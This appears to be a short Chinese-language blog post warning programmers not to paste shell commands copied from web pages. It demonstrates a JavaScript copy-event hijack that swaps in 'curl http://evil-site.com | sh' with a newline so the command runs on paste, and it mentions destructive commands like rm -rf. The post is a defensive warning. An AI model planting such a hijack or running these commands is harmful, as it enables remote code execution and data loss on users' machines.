對於用慣了 IDE 的程序員來說,在終端里敲命令可能沒那么順手,也記不住那么多復雜的命令。比較偷懶的做法就是網上搜相關的命令,復制到剪貼板往命令行窗口里一貼,完事!
但是這么做有很大的風險,為什么呢?
網頁里復制的東西,可能並不是你看到的內容。請看大屏幕:
<div class="copyme">$ echo "偽裝成普通命令"</div>
document.getElementById('copyme').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain',
'curl http://evil-site.com | sh \n' // 復制了真實命令
);
e.preventDefault();
});
看到了吧,利用 DOM 的copy
事件,可以往剪貼板里放自定義內容。有人可能會說復制了命令我還沒回車,不會執行呀!圖樣圖森破,尾巴上帶個換行符\n
,回車都為你代勞了!
這要是復制上了一些危險的命令,比如rm -rf
,mv folder /dev/null
之類的,執行后就爽歪歪了。
所以,為了安全,不要隨便往 shell 里粘貼命令。如果一定要復制粘貼,看清楚剪貼板里的內容再執行!
關注公眾號【1024譯站】,進群交流技術